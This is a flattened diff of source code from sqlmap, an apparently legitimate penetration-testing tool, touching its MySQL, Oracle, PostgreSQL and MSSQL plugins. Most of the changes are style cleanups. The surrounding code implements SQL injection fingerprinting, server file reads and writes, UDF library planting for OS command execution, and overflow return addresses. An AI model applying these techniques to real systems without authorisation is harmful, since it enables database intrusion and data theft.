#"2003-2": ( "CHAR(0xc3)+CHAR(0xc2)+CHAR(0xed)+CHAR(0x7c)", "CHAR(0xf3)+CHAR(0xd9)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x99)+CHAR(0xc8)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)" ), #"2003-2": ("CHAR(0xc3)+CHAR(0xc2)+CHAR(0xed)+CHAR(0x7c)", "CHAR(0xf3)+CHAR(0xd9)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x99)+CHAR(0xc8)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)"),
} }
addrs = None addrs = None
@ -633,7 +610,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
errMsg += "overflow because it does not have a valid return " errMsg += "overflow because it does not have a valid return "
errMsg += "code for the underlying operating system (Windows " errMsg += "code for the underlying operating system (Windows "
errMsg += "%s Service Pack %d)" % (kb.osVersion, kb.osSP) errMsg += "%s Service Pack %d)" % (kb.osVersion, kb.osSP)
raise sqlmapUnsupportedFeatureException, errMsg raise sqlmapUnsupportedFeatureException(errMsg)
shellcodeChar = "" shellcodeChar = ""
hexStr = binascii.hexlify(self.shellcodeString[:-1]) hexStr = binascii.hexlify(self.shellcodeString[:-1])

View File

@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
import os import os
import re import re
@ -54,7 +52,6 @@ from plugins.generic.fingerprint import Fingerprint
from plugins.generic.misc import Miscellaneous from plugins.generic.misc import Miscellaneous
from plugins.generic.takeover import Takeover from plugins.generic.takeover import Takeover
class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
""" """
This class defines MySQL methods This class defines MySQL methods
@ -77,7 +74,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
unescaper.setUnescape(MySQLMap.unescape) unescaper.setUnescape(MySQLMap.unescape)
@staticmethod @staticmethod
def unescape(expression, quote=True): def unescape(expression, quote=True):
if quote: if quote:
@ -111,7 +107,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
return expression return expression
@staticmethod @staticmethod
def escape(expression): def escape(expression):
while True: while True:
@ -135,8 +130,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
expression = expression.replace(old, escaped) expression = expression.replace(old, escaped)
return expression return expression
def __commentCheck(self): def __commentCheck(self):
infoMsg = "executing MySQL comment injection fingerprint" infoMsg = "executing MySQL comment injection fingerprint"
logger.info(infoMsg) logger.info(infoMsg)
@ -146,20 +140,20 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
payload = agent.payload(newValue=query) payload = agent.payload(newValue=query)
result = Request.queryPage(payload) result = Request.queryPage(payload)
if result != True: if not result:
warnMsg = "unable to perform MySQL comment injection" warnMsg = "unable to perform MySQL comment injection"
logger.warn(warnMsg) logger.warn(warnMsg)
return None return None
# MySQL valid versions updated on 05/2009 # MySQL valid versions updated on 12/2009
versions = ( versions = (
(32200, 32233), # MySQL 3.22 (32200, 32233), # MySQL 3.22
(32300, 32359), # MySQL 3.23 (32300, 32359), # MySQL 3.23
(40000, 40031), # MySQL 4.0 (40000, 40031), # MySQL 4.0
(40100, 40122), # MySQL 4.1 (40100, 40122), # MySQL 4.1
(50000, 50077), # MySQL 5.0 (50000, 50089), # MySQL 5.0
(50100, 50134), # MySQL 5.1 (50100, 50141), # MySQL 5.1
(50400, 50401), # MySQL 5.4 (50400, 50401), # MySQL 5.4
(60000, 60010), # MySQL 6.0 (60000, 60010), # MySQL 6.0
) )
@ -175,7 +169,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
payload = agent.payload(newValue=query) payload = agent.payload(newValue=query)
result = Request.queryPage(payload) result = Request.queryPage(payload)
if result == True: if result:
if not prevVer: if not prevVer:
prevVer = version prevVer = version
@ -192,7 +186,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
return None return None
def getFingerprint(self): def getFingerprint(self):
value = "" value = ""
wsOsFp = formatFingerprint("web server", kb.headersFp) wsOsFp = formatFingerprint("web server", kb.headersFp)
@ -237,7 +230,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
return value return value
def checkDbms(self): def checkDbms(self):
""" """
References for fingerprint: References for fingerprint:
@ -266,14 +258,14 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
payload = agent.fullPayload(" AND CONNECTION_ID()=CONNECTION_ID()") payload = agent.fullPayload(" AND CONNECTION_ID()=CONNECTION_ID()")
result = Request.queryPage(payload) result = Request.queryPage(payload)
if result == True: if result:
infoMsg = "confirming MySQL" infoMsg = "confirming MySQL"
logger.info(infoMsg) logger.info(infoMsg)
payload = agent.fullPayload(" AND ISNULL(1/0)") payload = agent.fullPayload(" AND ISNULL(1/0)")
result = Request.queryPage(payload) result = Request.queryPage(payload)
if result != True: if not result:
warnMsg = "the back-end DMBS is not MySQL" warnMsg = "the back-end DMBS is not MySQL"
logger.warn(warnMsg) logger.warn(warnMsg)
@ -352,8 +344,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
logger.warn(warnMsg) logger.warn(warnMsg)
return False return False
def checkDbmsOs(self, detailed=False): def checkDbmsOs(self, detailed=False):
if kb.os: if kb.os:
return return
@ -361,7 +352,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
infoMsg = "fingerprinting the back-end DBMS operating system" infoMsg = "fingerprinting the back-end DBMS operating system"
logger.info(infoMsg) logger.info(infoMsg)
self.createSupportTbl(self.fileTblName, self.tblField, "text") self.createSupportTbl(self.fileTblName, self.tblField, "text")
inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "VERSION()")) inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "VERSION()"))
datadirSubstr = inject.getValue("SELECT MID(@@datadir, 1, 1)", unpack=False) datadirSubstr = inject.getValue("SELECT MID(@@datadir, 1, 1)", unpack=False)
@ -375,8 +366,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
logger.info(infoMsg) logger.info(infoMsg)
self.cleanup(onlyFileTbl=True) self.cleanup(onlyFileTbl=True)
def unionReadFile(self, rFile): def unionReadFile(self, rFile):
infoMsg = "fetching file: '%s'" % rFile infoMsg = "fetching file: '%s'" % rFile
logger.info(infoMsg) logger.info(infoMsg)
@ -384,13 +374,12 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
result = inject.getValue("SELECT HEX(LOAD_FILE('%s'))" % rFile) result = inject.getValue("SELECT HEX(LOAD_FILE('%s'))" % rFile)
return result return result
def stackedReadFile(self, rFile): def stackedReadFile(self, rFile):
infoMsg = "fetching file: '%s'" % rFile infoMsg = "fetching file: '%s'" % rFile
logger.info(infoMsg) logger.info(infoMsg)
self.createSupportTbl(self.fileTblName, self.tblField, "longtext") self.createSupportTbl(self.fileTblName, self.tblField, "longtext")
self.getRemoteTempPath() self.getRemoteTempPath()
tmpFile = "%s/sqlmapfilehex%s" % (conf.tmpPath, randomStr(lowercase=True)) tmpFile = "%s/sqlmapfilehex%s" % (conf.tmpPath, randomStr(lowercase=True))
@ -426,8 +415,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
result = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.fileTblName), sort=False, resumeValue=False, charsetType=3) result = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.fileTblName), sort=False, resumeValue=False, charsetType=3)
return result return result
def unionWriteFile(self, wFile, dFile, fileType, confirm=True): def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
logger.debug("encoding file to its hexadecimal string value") logger.debug("encoding file to its hexadecimal string value")
@ -455,18 +443,17 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
conf.paramFalseCond = oldParamFalseCond conf.paramFalseCond = oldParamFalseCond
if confirm == True: if confirm:
self.askCheckWrittenFile(wFile, dFile, fileType) self.askCheckWrittenFile(wFile, dFile, fileType)
def stackedWriteFile(self, wFile, dFile, fileType, confirm=True): def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
debugMsg = "creating a support table to write the hexadecimal " debugMsg = "creating a support table to write the hexadecimal "
debugMsg += "encoded file to" debugMsg += "encoded file to"
logger.debug(debugMsg) logger.debug(debugMsg)
self.createSupportTbl(self.fileTblName, self.tblField, "longblob") self.createSupportTbl(self.fileTblName, self.tblField, "longblob")
logger.debug("encoding file to its hexadecimal string value") logger.debug("encoding file to its hexadecimal string value")
fcEncodedList = self.fileEncode(wFile, "hex", False) fcEncodedList = self.fileEncode(wFile, "hex", False)
debugMsg = "forging SQL statements to write the hexadecimal " debugMsg = "forging SQL statements to write the hexadecimal "
@ -476,7 +463,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
sqlQueries = self.fileToSqlQueries(fcEncodedList) sqlQueries = self.fileToSqlQueries(fcEncodedList)
logger.debug("inserting the hexadecimal encoded file to the support table") logger.debug("inserting the hexadecimal encoded file to the support table")
for sqlQuery in sqlQueries: for sqlQuery in sqlQueries:
inject.goStacked(sqlQuery) inject.goStacked(sqlQuery)
@ -486,51 +473,50 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
# Reference: http://dev.mysql.com/doc/refman/5.1/en/select.html # Reference: http://dev.mysql.com/doc/refman/5.1/en/select.html
inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, dFile), silent=True) inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, dFile), silent=True)
if confirm == True: if confirm:
self.askCheckWrittenFile(wFile, dFile, fileType) self.askCheckWrittenFile(wFile, dFile, fileType)
def udfSetRemotePath(self): def udfSetRemotePath(self):
self.getVersionFromBanner() self.getVersionFromBanner()
banVer = kb.bannerFp["dbmsVersion"] banVer = kb.bannerFp["dbmsVersion"]
# On Windows # On Windows
if kb.os == "Windows": if kb.os == "Windows":
# On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0 # On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0
if banVer >= "5.1.19": if banVer >= "5.1.19":
if self.__basedir is None: if self.__basedir is None:
logger.info("retrieving MySQL base directory absolute path") logger.info("retrieving MySQL base directory absolute path")
# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_basedir # Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_basedir
self.__basedir = inject.getValue("SELECT @@basedir") self.__basedir = inject.getValue("SELECT @@basedir")
self.__basedir = os.path.normpath(self.__basedir.replace("\\", "/")) self.__basedir = os.path.normpath(self.__basedir.replace("\\", "/"))
if re.search("^[\w]\:[\/\\\\]+", self.__basedir, re.I): if re.search("^[\w]\:[\/\\\\]+", self.__basedir, re.I):
kb.os = "Windows" kb.os = "Windows"
# The DLL must be in C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin # The DLL must be in C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin
self.udfRemoteFile = "%s/lib/plugin/%s.%s" % (self.__basedir, self.udfSharedLibName, self.udfSharedLibExt) self.udfRemoteFile = "%s/lib/plugin/%s.%s" % (self.__basedir, self.udfSharedLibName, self.udfSharedLibExt)
logger.warn("this will only work if the database administrator created manually the '%s/lib/plugin' subfolder" % self.__basedir) logger.warn("this will only work if the database administrator created manually the '%s/lib/plugin' subfolder" % self.__basedir)
# On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file # On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file
# On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file # On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file
else: else:
#logger.debug("retrieving MySQL data directory absolute path") #logger.debug("retrieving MySQL data directory absolute path")
# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_datadir # Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_datadir
#self.__datadir = inject.getValue("SELECT @@datadir") #self.__datadir = inject.getValue("SELECT @@datadir")
# NOTE: specifying the relative path as './udf.dll' # NOTE: specifying the relative path as './udf.dll'
# saves in @@datadir on both MySQL 4.1 and MySQL 5.0 # saves in @@datadir on both MySQL 4.1 and MySQL 5.0
self.__datadir = "." self.__datadir = "."
self.__datadir = os.path.normpath(self.__datadir.replace("\\", "/")) self.__datadir = os.path.normpath(self.__datadir.replace("\\", "/"))
if re.search("[\w]\:\/", self.__datadir, re.I): if re.search("[\w]\:\/", self.__datadir, re.I):
kb.os = "Windows" kb.os = "Windows"
# The DLL can be in either C:\WINDOWS, C:\WINDOWS\system, # The DLL can be in either C:\WINDOWS, C:\WINDOWS\system,
# C:\WINDOWS\system32, @@basedir\bin or @@datadir # C:\WINDOWS\system32, @@basedir\bin or @@datadir
self.udfRemoteFile = "%s/%s.%s" % (self.__datadir, self.udfSharedLibName, self.udfSharedLibExt) self.udfRemoteFile = "%s/%s.%s" % (self.__datadir, self.udfSharedLibName, self.udfSharedLibExt)
@ -539,25 +525,22 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
# The SO can be in either /lib, /usr/lib or one of the # The SO can be in either /lib, /usr/lib or one of the
# paths specified in /etc/ld.so.conf file, none of these # paths specified in /etc/ld.so.conf file, none of these
# paths are writable by mysql user by default # paths are writable by mysql user by default
# TODO: test with plugins folder on MySQL >= 5.1.19
self.udfRemoteFile = "/usr/lib/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt) self.udfRemoteFile = "/usr/lib/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
def udfCreateFromSharedLib(self, udf, inpRet): def udfCreateFromSharedLib(self, udf, inpRet):
if udf in self.udfToCreate: if udf in self.udfToCreate:
logger.info("creating UDF '%s' from the binary UDF file" % udf) logger.info("creating UDF '%s' from the binary UDF file" % udf)
ret = inpRet["return"] ret = inpRet["return"]
# Reference: http://dev.mysql.com/doc/refman/5.1/en/create-function-udf.html # Reference: http://dev.mysql.com/doc/refman/5.1/en/create-function-udf.html
inject.goStacked("DROP FUNCTION %s" % udf) inject.goStacked("DROP FUNCTION %s" % udf)
inject.goStacked("CREATE FUNCTION %s RETURNS %s SONAME '%s.%s'" % (udf, ret, self.udfSharedLibName, self.udfSharedLibExt)) inject.goStacked("CREATE FUNCTION %s RETURNS %s SONAME '%s.%s'" % (udf, ret, self.udfSharedLibName, self.udfSharedLibExt))
self.createdUdf.add(udf) self.createdUdf.add(udf)
else: else:
logger.debug("keeping existing UDF '%s' as requested" % udf) logger.debug("keeping existing UDF '%s' as requested" % udf)
def udfInjectCmd(self): def udfInjectCmd(self):
self.udfLocalFile = paths.SQLMAP_UDF_PATH self.udfLocalFile = paths.SQLMAP_UDF_PATH
self.udfSharedLibName = "libsqlmapudf%s" % randomStr(lowercase=True) self.udfSharedLibName = "libsqlmapudf%s" % randomStr(lowercase=True)
@ -571,10 +554,9 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
self.udfInjectCore(self.sysUdfs) self.udfInjectCore(self.sysUdfs)
self.envInitialized = True self.envInitialized = True
def uncPathRequest(self): def uncPathRequest(self):
if kb.stackedTest == False: if not kb.stackedTest:
query = agent.prefixQuery(" AND LOAD_FILE('%s')" % self.uncPath) query = agent.prefixQuery(" AND LOAD_FILE('%s')" % self.uncPath)
query = agent.postfixQuery(query) query = agent.postfixQuery(query)
payload = agent.payload(newValue=query) payload = agent.payload(newValue=query)

View File

@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
import re import re
from lib.core.agent import agent from lib.core.agent import agent
@ -48,13 +46,11 @@ from plugins.generic.fingerprint import Fingerprint
from plugins.generic.misc import Miscellaneous from plugins.generic.misc import Miscellaneous
from plugins.generic.takeover import Takeover from plugins.generic.takeover import Takeover
class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
""" """
This class defines Oracle methods This class defines Oracle methods
""" """
def __init__(self): def __init__(self):
self.excludeDbsList = ORACLE_SYSTEM_DBS self.excludeDbsList = ORACLE_SYSTEM_DBS
@ -64,7 +60,6 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
unescaper.setUnescape(OracleMap.unescape) unescaper.setUnescape(OracleMap.unescape)
@staticmethod @staticmethod
def unescape(expression, quote=True): def unescape(expression, quote=True):
if quote: if quote:
@ -96,7 +91,6 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
return expression return expression
@staticmethod @staticmethod
def escape(expression): def escape(expression):
while True: while True:
@ -121,7 +115,6 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
return expression return expression
def getFingerprint(self): def getFingerprint(self):
value = "" value = ""
wsOsFp = formatFingerprint("web server", kb.headersFp) wsOsFp = formatFingerprint("web server", kb.headersFp)
@ -157,7 +150,6 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
return value return value
def checkDbms(self): def checkDbms(self):
if conf.dbms in ORACLE_ALIASES: if conf.dbms in ORACLE_ALIASES:
setDbms("Oracle") setDbms("Oracle")
@ -173,14 +165,14 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
payload = agent.fullPayload(" AND ROWNUM=ROWNUM") payload = agent.fullPayload(" AND ROWNUM=ROWNUM")
result = Request.queryPage(payload) result = Request.queryPage(payload)
if result == True: if result:
logMsg = "confirming Oracle" logMsg = "confirming Oracle"
logger.info(logMsg) logger.info(logMsg)
payload = agent.fullPayload(" AND LENGTH(SYSDATE)=LENGTH(SYSDATE)") payload = agent.fullPayload(" AND LENGTH(SYSDATE)=LENGTH(SYSDATE)")
result = Request.queryPage(payload) result = Request.queryPage(payload)
if result != True: if not result:
warnMsg = "the back-end DMBS is not Oracle" warnMsg = "the back-end DMBS is not Oracle"
logger.warn(warnMsg) logger.warn(warnMsg)
@ -212,7 +204,6 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
return False return False
def forceDbmsEnum(self): def forceDbmsEnum(self):
if conf.db: if conf.db:
conf.db = conf.db.upper() conf.db = conf.db.upper()
@ -228,44 +219,37 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
if conf.tbl: if conf.tbl:
conf.tbl = conf.tbl.upper() conf.tbl = conf.tbl.upper()
def getDbs(self): def getDbs(self):
warnMsg = "on Oracle it is not possible to enumerate databases" warnMsg = "on Oracle it is not possible to enumerate databases"
logger.warn(warnMsg) logger.warn(warnMsg)
return [] return []
def readFile(self, rFile): def readFile(self, rFile):
errMsg = "File system read access not yet implemented for " errMsg = "File system read access not yet implemented for "
errMsg += "Oracle" errMsg += "Oracle"
raise sqlmapUnsupportedFeatureException, errMsg raise sqlmapUnsupportedFeatureException, errMsg
def writeFile(self, wFile, dFile, fileType=None, confirm=True): def writeFile(self, wFile, dFile, fileType=None, confirm=True):
errMsg = "File system write access not yet implemented for " errMsg = "File system write access not yet implemented for "
errMsg += "Oracle" errMsg += "Oracle"
raise sqlmapUnsupportedFeatureException, errMsg raise sqlmapUnsupportedFeatureException, errMsg
def osCmd(self): def osCmd(self):
errMsg = "Operating system command execution functionality not " errMsg = "Operating system command execution functionality not "
errMsg += "yet implemented for Oracle" errMsg += "yet implemented for Oracle"
raise sqlmapUnsupportedFeatureException, errMsg raise sqlmapUnsupportedFeatureException, errMsg
def osShell(self): def osShell(self):
errMsg = "Operating system shell functionality not yet " errMsg = "Operating system shell functionality not yet "
errMsg += "implemented for Oracle" errMsg += "implemented for Oracle"
raise sqlmapUnsupportedFeatureException, errMsg raise sqlmapUnsupportedFeatureException, errMsg
def osPwn(self): def osPwn(self):
errMsg = "Operating system out-of-band control functionality " errMsg = "Operating system out-of-band control functionality "
errMsg += "not yet implemented for Oracle" errMsg += "not yet implemented for Oracle"
raise sqlmapUnsupportedFeatureException, errMsg raise sqlmapUnsupportedFeatureException, errMsg
def osSmb(self): def osSmb(self):
errMsg = "One click operating system out-of-band control " errMsg = "One click operating system out-of-band control "
errMsg += "functionality not yet implemented for Oracle" errMsg += "functionality not yet implemented for Oracle"

View File

@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
import os import os
import re import re
@ -84,7 +82,6 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
unescaper.setUnescape(PostgreSQLMap.unescape) unescaper.setUnescape(PostgreSQLMap.unescape)
@staticmethod @staticmethod
def unescape(expression, quote=True): def unescape(expression, quote=True):
if quote: if quote:
@ -116,7 +113,6 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
return expression return expression
@staticmethod @staticmethod
def escape(expression): def escape(expression):
while True: while True:
@ -141,7 +137,6 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
return expression return expression
def getFingerprint(self): def getFingerprint(self):
value = "" value = ""
wsOsFp = formatFingerprint("web server", kb.headersFp) wsOsFp = formatFingerprint("web server", kb.headersFp)
@ -177,7 +172,6 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
return value return value
def checkDbms(self): def checkDbms(self):
""" """
Reference for fingerprint: http://www.postgresql.org/docs/8.3/interactive/release-8-3.html Reference for fingerprint: http://www.postgresql.org/docs/8.3/interactive/release-8-3.html
@ -199,14 +193,14 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
payload = agent.fullPayload(" AND %s::int=%s" % (randInt, randInt)) payload = agent.fullPayload(" AND %s::int=%s" % (randInt, randInt))
result = Request.queryPage(payload) result = Request.queryPage(payload)
if result == True: if result:
infoMsg = "confirming PostgreSQL" infoMsg = "confirming PostgreSQL"
logger.info(infoMsg) logger.info(infoMsg)
payload = agent.fullPayload(" AND COALESCE(%s, NULL)=%s" % (randInt, randInt)) payload = agent.fullPayload(" AND COALESCE(%s, NULL)=%s" % (randInt, randInt))
result = Request.queryPage(payload) result = Request.queryPage(payload)
if result != True: if not result:
warnMsg = "the back-end DMBS is not PostgreSQL" warnMsg = "the back-end DMBS is not PostgreSQL"
logger.warn(warnMsg) logger.warn(warnMsg)
@ -258,7 +252,6 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
return False return False
def checkDbmsOs(self, detailed=False): def checkDbmsOs(self, detailed=False):
if kb.os: if kb.os:
return return
@ -266,7 +259,7 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
infoMsg = "fingerprinting the back-end DBMS operating system" infoMsg = "fingerprinting the back-end DBMS operating system"
logger.info(infoMsg) logger.info(infoMsg)
self.createSupportTbl(self.fileTblName, self.tblField, "character(1000)") self.createSupportTbl(self.fileTblName, self.tblField, "character(1000)")
inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "VERSION()")) inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "VERSION()"))
# Windows executables should always have ' Visual C++' or ' mingw' # Windows executables should always have ' Visual C++' or ' mingw'
@ -283,7 +276,7 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
break break
if kb.os == None: if kb.os is None:
kb.os = "Linux" kb.os = "Linux"
infoMsg = "the back-end DBMS operating system is %s" % kb.os infoMsg = "the back-end DBMS operating system is %s" % kb.os
@ -291,7 +284,6 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
self.cleanup(onlyFileTbl=True) self.cleanup(onlyFileTbl=True)
def forceDbmsEnum(self): def forceDbmsEnum(self):
if conf.db not in PGSQL_SYSTEM_DBS and conf.db != "public": if conf.db not in PGSQL_SYSTEM_DBS and conf.db != "public":
conf.db = "public" conf.db = "public"
@ -302,13 +294,11 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
warnMsg += "database name" warnMsg += "database name"
logger.warn(warnMsg) logger.warn(warnMsg)
def unionReadFile(self, rFile): def unionReadFile(self, rFile):
errMsg = "PostgreSQL does not support file reading with UNION " errMsg = "PostgreSQL does not support file reading with UNION "
errMsg += "query SQL injection technique" errMsg += "query SQL injection technique"
raise sqlmapUnsupportedFeatureException, errMsg raise sqlmapUnsupportedFeatureException, errMsg
def stackedReadFile(self, rFile): def stackedReadFile(self, rFile):
warnMsg = "binary file read on PostgreSQL is not yet supported, " warnMsg = "binary file read on PostgreSQL is not yet supported, "
warnMsg += "if the requested file is binary, its content will not " warnMsg += "if the requested file is binary, its content will not "
@ -320,10 +310,10 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
result = [] result = []
self.createSupportTbl(self.fileTblName, self.tblField, "bytea") self.createSupportTbl(self.fileTblName, self.tblField, "bytea")
logger.debug("loading the content of file '%s' into support table" % rFile) logger.debug("loading the content of file '%s' into support table" % rFile)
inject.goStacked("COPY %s(%s) FROM '%s'" % (self.fileTblName, self.tblField, rFile)) inject.goStacked("COPY %s(%s) FROM '%s'" % (self.fileTblName, self.tblField, rFile))
if kb.unionPosition: if kb.unionPosition:
result = inject.getValue("SELECT ENCODE(%s, 'base64') FROM %s" % (self.tblField, self.fileTblName), unpack=False, resumeValue=False, sort=False) result = inject.getValue("SELECT ENCODE(%s, 'base64') FROM %s" % (self.tblField, self.fileTblName), unpack=False, resumeValue=False, sort=False)
@ -345,13 +335,11 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
return result return result
def unionWriteFile(self, wFile, dFile, fileType, confirm=True): def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
errMsg = "PostgreSQL does not support file upload with UNION " errMsg = "PostgreSQL does not support file upload with UNION "
errMsg += "query SQL injection technique" errMsg += "query SQL injection technique"
raise sqlmapUnsupportedFeatureException, errMsg raise sqlmapUnsupportedFeatureException, errMsg
def stackedWriteFile(self, wFile, dFile, fileType, confirm=True): def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
wFileSize = os.path.getsize(wFile) wFileSize = os.path.getsize(wFile)
@ -364,11 +352,11 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
debugMsg = "creating a support table to write the base64 " debugMsg = "creating a support table to write the base64 "
debugMsg += "encoded file to" debugMsg += "encoded file to"
logger.debug(debugMsg) logger.debug(debugMsg)
self.createSupportTbl(self.fileTblName, self.tblField, "text") self.createSupportTbl(self.fileTblName, self.tblField, "text")
logger.debug("encoding file to its base64 string value") logger.debug("encoding file to its base64 string value")
fcEncodedList = self.fileEncode(wFile, "base64", False) fcEncodedList = self.fileEncode(wFile, "base64", False)
debugMsg = "forging SQL statements to write the base64 " debugMsg = "forging SQL statements to write the base64 "
@ -378,7 +366,7 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
sqlQueries = self.fileToSqlQueries(fcEncodedList) sqlQueries = self.fileToSqlQueries(fcEncodedList)
logger.debug("inserting the base64 encoded file to the support table") logger.debug("inserting the base64 encoded file to the support table")
for sqlQuery in sqlQueries: for sqlQuery in sqlQueries:
inject.goStacked(sqlQuery) inject.goStacked(sqlQuery)
@ -388,9 +376,9 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
# References: # References:
# http://www.postgresql.org/docs/8.3/interactive/largeobjects.html # http://www.postgresql.org/docs/8.3/interactive/largeobjects.html
# http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html # http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html
